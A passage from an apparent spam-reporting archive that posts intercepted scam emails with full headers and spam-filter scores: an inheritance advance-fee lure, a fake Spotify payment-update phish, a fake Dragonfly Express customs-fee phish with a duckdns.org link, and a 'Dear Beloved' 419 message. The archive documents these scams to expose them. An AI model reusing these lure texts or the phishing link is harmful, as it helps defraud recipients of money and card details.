[102.219.162.91 listed in will-spam-for-food.eu.org]

[102.219.162.91 listed in will-spam-for-food.eu.org]

[102.219.162.91 listed in will-spam-for-food.eu.org]

[163.172.214.93 listed in will-spam-for-food.eu.org]

[163.172.214.93 listed in will-spam-for-food.eu.org]

[163.172.214.93 listed in will-spam-for-food.eu.org]

[163.172.214.93 listed in will-spam-for-food.eu.org]

[163.172.214.93 listed in will-spam-for-food.eu.org]

[163.172.214.93 listed in will-spam-for-food.eu.org]

[163.172.214.93 listed in will-spam-for-food.eu.org]

[163.172.214.93 listed in will-spam-for-food.eu.org]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[163.172.214.93 listed in bl.score.senderscore.com]

0.0 T_SPF_HELO_TEMPERROR SPF: test of HELO record failed (temperror)

-0.0 SPF_PASS SPF: sender matches SPF record

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

0.2 FREEMAIL_REPLYTO_END_DIGIT Reply-To freemail username ends in digit

[alexkortig61(at)gmail.com]

2.6 HK_SCAM_N13 BODY: No description available.

0.0 HK_NAME_MR_MRS No description available.

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

1.3 RDNS_NONE Delivered to internal network by a host with no rDNS

2.5 FREEMAIL_FORGED_REPLYTO Freemail in Reply-To, but not From

2.5 ADVANCE_FEE_3_NEW Appears to be advance fee fraud (Nigerian 419)

Subject: {SPAM?} Hi, Is your email still active?



PS: Is your email still active? I am Mr. Alex Kortig, I have a very importa=

nt transaction to discuss with you regarding unclaimed inheritance funds li=

nked to your Name. Kindly respond to my private email: alexkortig61@gmail.c=

om



Mr. Alex

Spotify phish from nxcli

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Sat, 15 Aug 2026 14:55:51 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wvLPZ-00000000Iyx-3xMd

for dave@doctor.nl2k.ab.ca;

Sat, 15 Aug 2026 14:55:25 -0600

Resent-From: The Doctor

Resent-Date: Sat, 15 Aug 2026 14:55:25 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from cloudhost-2937119.us-midwest-1.nxcli.net ([209.87.149.103]:26910)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

(Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wvHdr-000000000ib-2bq6

for sales@nk.ca;

Sat, 15 Aug 2026 10:54:02 -0600

Comment: DomainKeys? See http://domainkeys.sourceforge.net/

DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;

s=default; d=7f8b54a46b.nxcli.io;

b=bpmeeGje/LQFSVEgVNWN9WuzFgJ76M9Gz5gdYWVTZIuf6EuT/xc6tKWZbxE7MjDHGm0dhW5Pl8Ip6InyVfifoTWFdutC9mf8NHuzhsqmUKnZVrmedZxxRDhI/IDJ4nTbmo9otbbX6kv4To32KJwdoX/Mxs7/7Jvou9vrENGpgoc8mgunqJeTvT5I9NEs1In1GbffoVpSwh4Ud4k4mOPADRAwnRCKHmNy4OHi48zrFMnGkcShdy0Hu+39Y7EPkctuvqphClNEFEf13YJUbDDONpCAbJwORTgkqDLatawUs05NRocfOnDeh3q+w097mnfyOFHbKhcFRHeLbkxmtUOd7Q==;

h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:MIME-Version:Content-type:From:Reply-To;

DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=7f8b54a46b.nxcli.io; h=

date:message-id:to:subject:mime-version:content-type:from

:reply-to; s=default; bh=Z4xotxvU6WLa3Eq3y8u628Wxh+8=; b=Pp+gC2q

hrnfGuHMl5Dx7Oe+FINsPMOE7ZPayguKvgBBV0WXHBUytCCYQYLVJNVwOukg/9gm

btsWKEwOI34adRrqgV1wmZoKlT8CJHhvn/c71pcNN1vdYAzQzO4w0Yi3IILJaZfL

bPTrrPT77RDfkIS97GUOtyhSzf/2wYA3QM2ZJ198V3E7QlptxSChbrKnfpjv4PO3

J+Brqc9WXT4dOAWjJ3fgartmX4wnohol1+yMmQEhMzfXyGKde35K+3+CU/4r7hPY

U/VOkzDd8QxAEbmMNKYR0GsqAYGJhLAobwxYc6Dv8hL0OnsrbDDuRx7btjeyb2zz

8nncXILJwT4GO3Q==

Received: (qmail 8954 invoked by uid 10234); 15 Aug 2026 16:53:03 +0000

Date: 15 Aug 2026 16:53:03 +0000

Message-ID: <20260815165303.8934.qmail@cloudhost-2937119.us-midwest-1.nxcli.net>

To: sales@nk.ca

Subject: Action required: Payment method update needed

X-PHP-Originating-Script: 10234:as.php

MIME-Version: 1.0

Content-type: text/html; charset=UTF-8

From: Spotify

Reply-To: postmaster@7f8b54a46b.nxcli.io

















Spotify - Action Required: Update Payment Method










" rowspan=3D"1" style=3D"font-size: 0px; height: 12px; line-height: 0px;"><=

/td>

pacing=3D"0" border=3D"0" width=3D"100%" style=3D"width: 485px;">=


span=3D"1">
pse: collapse; line-height: 1.15;">
">
le>

owspan=3D"1" style=3D"vertical-align: top; padding: 0.01px 14px 0.01px 1px;=

width: 65px; text-align: center;">


tps://ci3.googleusercontent.com/meips/ADKq_NZcwYaCAZ90rjgA_bjLpd4UBFKqUrHsz=

w5qpzRZhK0SNMTtvlfq5zGViREQoOUAdVJMjeicSY8kTxvpVSSXmTyQwrq5M5IB26TVMQhTMEd-=

HXVMeR6WJ2TFGheuvLHxDzKlmbEZCoK7opGGGjR_q5TiTVefUnoNDMPitlcfbg=3Ds0-d-e1-ft=

#https://d36urhup7zbd7q.cloudfront.net/u/O6rlxveRayv/28587ed2-7c1a-49f7-92d=

8-ab9cbb1a3725__400x400__.jpeg" alt=3D"photo" style=3D"width: 65px; height:=

65px; vertical-align: middle; border-radius: 0px; border: 0px; display: bl=

ock;">


ing: 0.01px 0.01px 0.01px 14px; vertical-align: top; border-left: 1px solid=

rgb(189, 189, 189);">
Noah Blake


cellpadding=3D"0" cellspacing=3D"0" style=3D"border-collapse: collapse;">
olgroup>
>

=3D"1" rowspan=3D"1" style=3D"padding: 0.01px;">


line-height: 19.2px;">Operations & Customer Support - =


=3D"noopener noreferrer nofollow">Apply Here!

ng>
olor: rgb(100, 100, 100);">Swiftbridge Funding


able cellpadding=3D"0" cellspacing=3D"0" style=3D"border-collapse: collapse=

;">

pan=3D"1" rowspan=3D"1" width=3D"388" height=3D"0" style=3D"height: 0px; pa=

dding-top: 14px; width: 388px; font-family: Arial;">


; line-height: 10.89px; font-size: 11px;">
rget=3D"_blank" rel=3D"noopener noreferrer nofollow" style=3D"color: rgb(30=

, 144, 250); text-decoration: unset;">
olor: rgb(33, 33, 33);">+1 236-506-7475  |  
ef=3D"https://swiftbridge.ca/" target=3D"_blank" rel=3D"noopener noreferrer=

nofollow" style=3D"color: rgb(30, 144, 250); text-decoration: unset;">
n style=3D"line-height: 13.2px; color: rgb(33, 33, 33);">swiftbridge.ca
an> 


rowspan=3D"1" height=3D"0" style=3D"height: 0px; padding: 14px 0.01px 0.01p=

x;">
dth: 50px;">
th: 25px;">

eft" style=3D"padding-right: 6px; text-align: center; padding-top: 0px;">
style=3D"margin: 1px;">
" target=3D"_blank" rel=3D"noopener noreferrer nofollow" style=3D"color: rg=

b(30, 144, 250);">
NandMz9xr29JOnOo0ZGdt9IUU2uHaL1R39vaFC2NqcN17ttmyRblzHiisIgSKi6PYdfEsJSsbtX=

M30S6OiMDtOlnHuj8c9qwveZHk9y4bM-WnzUlNF7=3Ds0-d-e1-ft#https://gifo.srv.wise=

stamp.com/s/inst/E4405F/48/0/background.png" alt=3D"instagram" style=3D"wid=

th: 24px; height: 24px; float: left; border: none;">


n=3D"1" rowspan=3D"1" align=3D"left" style=3D"padding-right: 6px; text-alig=

n: center; padding-top: 0px;">


www.linkedin.com/company/swift-bridge-funding/" target=3D"_blank" rel=3D"no=

opener noreferrer nofollow" style=3D"color: rgb(30, 144, 250);">
"https://ci3.googleusercontent.com/meips/ADKq_NYWx_R1C52H8WTUFYiJQy38-AlU07=

dlE8P81d508aEMaVFWlSBbw-iTGs8QQjhOzTvhy0I8TsN1QrcyihwN0sH39dCjRCrlp_Yv5H1m4=

5hADcbKig=3Ds0-d-e1-ft#https://gifo.srv.wisestamp.com/s/ld/0077b5/48/0/back=

ground.png" alt=3D"linkedin" style=3D"width: 24px; height: 24px; float: lef=

t; border: none;">
















































Spotify






Action required: Payment method update needed







We were unable to process the payment for your Spotify Premium subscription. To avoid losing access to your Premium features—including ad-free listening and offline downloads—please update your payment details immediately.





















Possible payment issues:







  • Your payment card has expired or been cancelled.


  • Insufficient funds or temporary restriction by your bank.




Please update your payment information today to ensure your service continues uninterrupted.






Important: We will attempt to process the payment again shortly. You can also update your details directly via the Spotify app or website.














Spotify

 




This email was automatically sent to your registered address. If you have questions, please visit our Customer Support Center.





© 2026 Spotify AB. All rights reserved.










Dragonfly Delivery Notification Phish

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Sat, 15 Aug 2026 09:32:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wvGM5-00000000ANu-0gTi

for dave@doctor.nl2k.ab.ca;

Sat, 15 Aug 2026 09:31:29 -0600

Resent-From: The Doctor

Resent-Date: Sat, 15 Aug 2026 09:31:29 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from vps.fslocal.com ([199.83.208.249]:48728)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wvFEM-00000000Izd-2XlN

for sales@nk.ca;

Sat, 15 Aug 2026 08:19:39 -0600

DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;

d=laravel.perksona.com; s=default; h=MIME-Version:Date:

Content-Transfer-Encoding:Message-ID:Subject:To:From:Content-Type:Sender:

Reply-To:Cc:Content-ID:Content-Description:Resent-Date:Resent-From:

Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:References:

List-Id:List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:

List-Archive; bh=LfZj7rc3TmHGvNxFzFRUld6qJTeDDYsBdOHrEbuhyds=; b=WqL9EDFPGyPt

y3+sel8n5PswYE2fgiDgsZpmalOFIdqV1EKzfAUczglgyBkLbL2Dk1SkoKSiKXeo1is5LJSRj9S2+

u6nuTybdZikJt3IlzSI9avwcGHIXKFl2b9Kls3XHzMgfoEy0WzJSOZDRq59e/ZvmRw675w6DApSrc

kHXVd9UFIIZ11WNwSvvJ+yPdAgRZezFQg0tkV6QeLo+ptkz8G/NuSYGywM6S5Ijwre0i8jdagrw5m

6A4qLyhWcmXAq7iWHNw/OiyuYvQAKm5sCsZwvKpsy4khaOEcdKrX2A+z7mPJK4oWRhcxTHLZt6KzL

HIlyG3fSRoxvIHmRg71c+Q==;

Received: from [196.75.239.98] (port=50952 helo=[127.0.0.1])

by vps.fslocal.com with esmtpsa (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.99.5)

(envelope-from )

id 1wvFCt-0000000GvWM-3hu3

for sales@nk.ca;

Sat, 15 Aug 2026 10:18:28 -0400

Content-Type: text/html

From: Dragonfly

To: sales@nk.ca

Subject: Dragonfly Delivery Notification

Message-ID: <018ff756-1ee5-f749-6a6b-c205d9ab6030@laravel.perksona.com>

Content-Transfer-Encoding: quoted-printable

Date: Sat, 15 Aug 2026 14:17:54 +0000

MIME-Version: 1.0

X-AntiAbuse: This header was added to track abuse, please include it with any abuse report

X-AntiAbuse: Primary Hostname - vps.fslocal.com

X-AntiAbuse: Original Domain - nk.ca

X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]

X-AntiAbuse: Sender Address Domain - laravel.perksona.com

X-Get-Message-Sender-Via: vps.fslocal.com: authenticated_id: info-mjqu@laravel.perksona.com

X-Authenticated-Sender: vps.fslocal.com: info-mjqu@laravel.perksona.com

X-Source:

X-Source-Args:

X-Source-Dir:

X-Spam_score: 7.8

X-Spam_score_int: 78

X-Spam_bar: +++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Dragonfly Express. Dear Customer,



Content analysis details: (7.8 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[199.83.208.249 listed in dnsbl.ahbl.org]

[199.83.208.249 listed in dnsbl.ahbl.org]

[199.83.208.249 listed in dnsbl.ahbl.org]

[199.83.208.249 listed in dnsbl.ahbl.org]

[196.75.239.98 listed in dnsbl.ahbl.org]

[196.75.239.98 listed in dnsbl.ahbl.org]

[196.75.239.98 listed in dnsbl.ahbl.org]

[196.75.239.98 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[199.83.208.249 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[199.83.208.249 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[199.83.208.249 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[199.83.208.249 listed in dnsbl.ahbl.org]

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[196.75.239.98 listed in will-spam-for-food.eu.org]

[196.75.239.98 listed in will-spam-for-food.eu.org]

[196.75.239.98 listed in will-spam-for-food.eu.org]

[196.75.239.98 listed in will-spam-for-food.eu.org]

[196.75.239.98 listed in will-spam-for-food.eu.org]

[196.75.239.98 listed in will-spam-for-food.eu.org]

[196.75.239.98 listed in will-spam-for-food.eu.org]

[196.75.239.98 listed in will-spam-for-food.eu.org]

[199.83.208.249 listed in will-spam-for-food.eu.org]

[199.83.208.249 listed in will-spam-for-food.eu.org]

[199.83.208.249 listed in will-spam-for-food.eu.org]

[199.83.208.249 listed in will-spam-for-food.eu.org]

[199.83.208.249 listed in will-spam-for-food.eu.org]

[199.83.208.249 listed in will-spam-for-food.eu.org]

[199.83.208.249 listed in will-spam-for-food.eu.org]

[199.83.208.249 listed in will-spam-for-food.eu.org]

-0.0 SPF_PASS SPF: sender matches SPF record

1.6 RCVD_IN_BRBL_LASTEXT RBL: No description available.

[199.83.208.249 listed in bb.barracudacentral.org]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[199.83.208.249 listed in bl.score.senderscore.com]

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.0 HTML_MESSAGE BODY: HTML included in message

0.8 SARE_FROM_SPAM_WORD3 I don't know people named this!

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

1.0 VOWEL_URI_5 URI hostname with 5 consecutive vowels

2.0 RATWR8_MESSID Message-ID with excessive dashes and dollars

Subject: {SPAM?} Dragonfly Delivery Notification














hidden; MAX-WIDTH: 600px; BACKGROUND: #fff; MARGIN: 20px auto; =

border-radius: 10px; box-shadow: 0 4px 8px rgba(0,0,0,.10)">


align-items: center; justify-content: center">


30px; FONT-WEIGHT: bold; COLOR: #fff; FONT-STYLE: italic">Dragonfly Express=

.







PADDING-TOP: 24px; PADDING-LEFT: 20px; PADDING-RIGHT: 20px">


DISPLAY: inline-block; PADDING-RIGHT: 6px">Dear Customer,

 






1.6">

Goods imported into Canada may be subject to applicable duties =

and/or taxes. Carriers are authorized by the. to process occasional =

shipments on behalf of the importer or owner and may remit applicable =

duties and taxes.





However, a parcel belonging to you has been held =

by customs due to missing declaration details from the sender. Please pay: =

4.95 CAD





in duties and taxes as soon as =

possible using the button below: taxes, or other charges are actually owed.=








href=3D"https://dragonfly-express.duckdns.org/Dragonfly_Shipping/" =

style=3D"FONT-SIZE: 14px; TEXT-DECORATION: none; BACKGROUND: #04ab94; =

FONT-WEIGHT: bold; COLOR: #fff; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; =

PADDING-LEFT: 20px; DISPLAY: inline-block; PADDING-RIGHT: 20px; =

border-radius: 5px">Track my package






COLOR: #000">Thank you for choosing Dragonfly Express.










COLOR: #717171; PADDING-BOTTOM: 20px; TEXT-ALIGN: center; PADDING-TOP: =

20px; PADDING-LEFT: 20px; MARGIN: 0px auto; PADDING-RIGHT: 20px; =

border-radius: 10px; box-shadow: 0 4px 8px rgba(0,0,0,.10)">

This email was sent by an automated system=

. Please do not reply official:





© 2026 =

Intelcom Express - Dragonfly Express. All rights reserved.











Nigerian spam

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Sat, 15 Aug 2026 07:55:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wvEqO-000000006tq-0SLg

for dave@doctor.nl2k.ab.ca;

Sat, 15 Aug 2026 07:54:40 -0600

Resent-From: The Doctor

Resent-Date: Sat, 15 Aug 2026 07:54:40 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail.lojasguaibim.com.br ([187.18.8.4]:54836)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wvBe5-00000000FmJ-0yAW

for root@nk.ca;

Sat, 15 Aug 2026 04:29:53 -0600

Received: from localhost (localhost [127.0.0.1])

by mail.lojasguaibim.com.br (Postfix) with ESMTP id D4ECC4320AB9;

Sat, 15 Aug 2026 06:49:34 -0300 (-03)

Received: from mail.lojasguaibim.com.br ([127.0.0.1])

by localhost (mail.lojasguaibim.com.br [127.0.0.1]) (amavis, port 10032)

with ESMTP id uUgCnbYeKXuR; Sat, 15 Aug 2026 06:49:33 -0300 (-03)

Received: from localhost (localhost [127.0.0.1])

by mail.lojasguaibim.com.br (Postfix) with ESMTP id C9D084320AA3;

Sat, 15 Aug 2026 06:49:30 -0300 (-03)

DKIM-Filter: OpenDKIM Filter v2.10.3 mail.lojasguaibim.com.br C9D084320AA3

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=lojasguaibim.com.br;

s=defaultlg; t=1786787371;

bh=/kHMKTq9dfw1bwWae1X2zcnZO6zz1/igwN757sHb0es=;

h=Date:From:Message-ID:MIME-Version;

b=1ewwS8NKKniKKI32reNDTqljPGVM7H8yPH8F9gupXMZv7wKlD1v2Mri1DHhmnPgY8

OBlb5PeFHgZeRiQGumxwMrSz68pxKfitdDruM70tiYEjHgBE7dxD88FkS6ot9dw7K8

M/M3ANs/6DfJodee6OJgK9hKuEm66dJnXTnfxHzLsVq2oBrRYk05vhVSOkuso30Gwc

tqYEk0grrYcAq+mngHPk9kqoEJUPuz5PiVbGuVrbUSqPIv2/AtEMwZ3jCRe551X23I

Mg9OCogiNk5HbI6IFH9Yi4+97Ii4MQrjMBsSDZK5ULrG1bY2earsWU+sF+y/Mt7OPU

ifH8+Ahb/9ZBA==

X-Virus-Scanned: amavis at lojasguaibim.com.br

Received: from mail.lojasguaibim.com.br ([127.0.0.1])

by localhost (mail.lojasguaibim.com.br [127.0.0.1]) (amavis, port 10026)

with ESMTP id p7TBmf6IKonv; Sat, 15 Aug 2026 06:49:30 -0300 (-03)

Received: from mail.lojasguaibim.com.br (mail.lojasguaibim.com.br [187.18.8.4])

by mail.lojasguaibim.com.br (Postfix) with ESMTP id 70BFE43205B3;

Sat, 15 Aug 2026 06:49:21 -0300 (-03)

Date: Sat, 15 Aug 2026 06:49:21 -0300 (BRT)

From: BOOHER JANET DANSE

Reply-To: BOOHER JANET DANSE

Message-ID: <46771472.6735237.1786787361402.JavaMail.zimbra@lojasguaibim.com.br>

Subject: RE

MIME-Version: 1.0

Content-Type: multipart/alternative;

boundary="=_783660ae-ae28-473c-b354-0ec972fa35ad"

X-Originating-IP: [187.18.8.4]

X-Mailer: Zimbra 8.8.15_GA_4717 (ZimbraWebClient - GC151 (Win)/8.8.15_GA_4717)

Thread-Index: xW96gKZCtPkUY39taUmfDyvqFhAIww==

Thread-Topic: RE

X-Spam_score: 7.2

X-Spam_score_int: 72

X-Spam_bar: +++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Dear Beloved, Peace be upon you. I hope you are well.



Content analysis details: (7.2 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[187.18.8.4 listed in dnsbl.ahbl.org]

[187.18.8.4 listed in dnsbl.ahbl.org]

[187.18.8.4 listed in dnsbl.ahbl.org]

[187.18.8.4 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[187.18.8.4 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[187.18.8.4 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[187.18.8.4 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[187.18.8.4 listed in dnsbl.ahbl.org]

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[187.18.8.4 listed in will-spam-for-food.eu.org]

[187.18.8.4 listed in will-spam-for-food.eu.org]

[187.18.8.4 listed in will-spam-for-food.eu.org]

[187.18.8.4 listed in will-spam-for-food.eu.org]

[187.18.8.4 listed in will-spam-for-food.eu.org]

[187.18.8.4 listed in will-spam-for-food.eu.org]

[187.18.8.4 listed in will-spam-for-food.eu.org]

[187.18.8.4 listed in will-spam-for-food.eu.org]

0.0 T_SPF_PERMERROR SPF: test of record failed (permerror)

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[187.18.8.4 listed in bl.score.senderscore.com]

-0.0 T_RP_MATCHES_RCVD Envelope sender domain matches handover relay

domain

1.2 MISSING_HEADERS Missing To: header

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

0.0 NO_RDNS2 Sending MTA has no reverse DNS

1.9 REPLYTO_WITHOUT_TO_CC No description available.

2.5 FREEMAIL_FORGED_REPLYTO Freemail in Reply-To, but not From

Subject: {SPAM?} RE



--=_783660ae-ae28-473c-b354-0ec972fa35ad

Content-Type: text/plain; charset=utf-8

Content-Transfer-Encoding: 7bit







Dear Beloved,



Peace be upon you. I hope you are well.



My name is Booher Janet Danise. I am contacting you regarding a project that I would like you to handle in your city.



Please reply at your earliest convenience so that I may provide you with further details.



Yours sincerely,

Booher Janet Danise

116 Crescent Dr

Bristol, VA 24201-3304

USA



--=_783660ae-ae28-473c-b354-0ec972fa35ad

Content-Type: text/html; charset=utf-8

Content-Transfer-Encoding: 7bit





Dear Beloved,

Peace be upon you. I hope you are well.

My name is Booher Janet Danise. I am contacting you regarding a project that I would like you to handle in your city.

Please reply at your earliest convenience so that I may provide you with further details.

Yours sincerely,
Booher Janet Danise
116 Crescent Dr
Bristol, VA 24201-3304
USA


--=_783660ae-ae28-473c-b354-0ec972fa35ad--

Business Loans spam from Google Gmail

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Fri, 14 Aug 2026 20:06:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wv3ma-00000000Psg-31zw

for dave@doctor.nl2k.ab.ca;

Fri, 14 Aug 2026 20:06:00 -0600

Resent-From: The Doctor

Resent-Date: Fri, 14 Aug 2026 20:06:00 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-pf1-f174.google.com ([209.85.210.174]:42278)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wuzqL-00000000OHr-2a5m

for sales@nk.ca;

Fri, 14 Aug 2026 15:53:45 -0600

Received: by mail-pf1-f174.google.com with SMTP id d2e1a72fcca58-84e84a6c4bfso1489878b3a.1

for ; Fri, 14 Aug 2026 14:52:50 -0700 (PDT)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=kesefmarketing.com; s=google; t=1786744364; x=1787349164; darn=nk.ca;

h=list-unsubscribe-post:list-unsubscribe:in-reply-to:references

:message-id:date:to:from:subject:mime-version:content-type:from:to

:cc:subject:date:message-id:reply-to:content-type;

bh=R/hdkGWtWH/bKOuD4el1gKW1QaTjst+nGWpniUHixec=;

b=eRROYQZ2KazwFf5o+wuza95TUdW1rVCzqX1GSTOwFhtNPLI282AAUK5KObNoPjW74l

S305ht6YWTlYt06wOd2PgmwJsHm4aZE3DFUQ56aoz+5mpinLV06NlO6Rl0fzm87W72Ss

KTR9mbq3l/TISb6OQODTaOjA3iRhSimryDoYpfNvjgTJvqggH4tmb/4Mg3TieC5IOsRc

kN4qr6EejWf5jKA+Nw3YInXJTEWpmhVju0psi+aERldWaWLWe2plWzo1I7UlKnJyrflw

lEc2enxyZpxKX5WptPXB2KkwXn0woUimAGYL7yFY7b8Nat8BSwyZR4YgGL6frnmiQgs1

xmJw==

X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=1e100.net; s=20251104; t=1786744364; x=1787349164;

h=list-unsubscribe-post:list-unsubscribe:in-reply-to:references

:message-id:date:to:from:subject:mime-version:content-type:x-gm-gg

:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to

:content-type;

bh=R/hdkGWtWH/bKOuD4el1gKW1QaTjst+nGWpniUHixec=;

b=XPqpUdX9hpTS11C+gpjtWKgR3bnAiEg3hnHBKK3DMK3v6Uk7Lo5bM+7wp9JAx+a34f

w24Wfj3l1YXEX95ZJ/occNmaS1tVLkHV9g9wSH7ubsQBfr+sj0mP+LzNw662kI6lmdB9

nvbgwb7TBtYV5XxvnQIbcySPRf0TYf8T88px9POTY7VtaSRfoTICA33pX35XbzJHev5X

sDoIEZVq0wPM1D0/5H3pRVHN0zVSfCXEiC+kOm1FFX1Ul0ODwKYgXWFroVyuXE1qN1a2

fOzi7UO9I7PVGyqONthS2ANI3oKPUcYtEpWK1FThcN+q83C2qWHZwKanEykB8TiOn9+w

9qWg==

X-Gm-Message-State: AOJu0YwOcg469Z1n75NYiozPdAuyivnyRtViNlTRqwgw2BGXT1Kmv3Dy

Xz9j+tmuBotpxkr2LO5322lp5lhluKTwNtPs702jDHD0/G8NPbyIob/dlruqLEhXMW5Y0dfd0O9

sgXn/

X-Gm-Gg: AR+sD12Kk100GJkth0ga9RIkiFcDnaREiQw3V9hU2iEmc7BNwXWXtiF5hdfqdLp+Bhv

7JD5zQ8B852BaRNSApkHieMHxxXqc9GSgUyTFgqNw+gbmBQCUlLosw8CWYHKKZeoJ1ng/10YcMw

3iMm/9bWL9mXkhfXdnqUz8JXgy9hzC6EFB0JxJ1Tr8tth/q4shpN34rSy1byvJKH59oOuJA6Qgu

fUpOycOOr6YlYcHMFBBxwdmU8hXfhjAbTrdnYdkfmEqVYHThc5fnafKBvVp2RoxZIARx/r0LGiH

w+gfWG7CGg79VfoYxD3fRaquYxDWqZkU4YwgVU8dr4Tfs3mbtqkVAqEtLCz0a7/1YFr4/dmKkyy

xgPy5UsKq7fvtNzWxZlpesIs6lJWeO3N955H6TbQCUvRwKzJlZgZC4shcjOpZnhdSlzx2YX3yWA

Q4VQr2vee6p2T+b7NLRoLUvlGUVBfqWHirf6K/T9yNv+KwlvfRNxmVBRzaFj8pfvtHqdcaYrhwZ

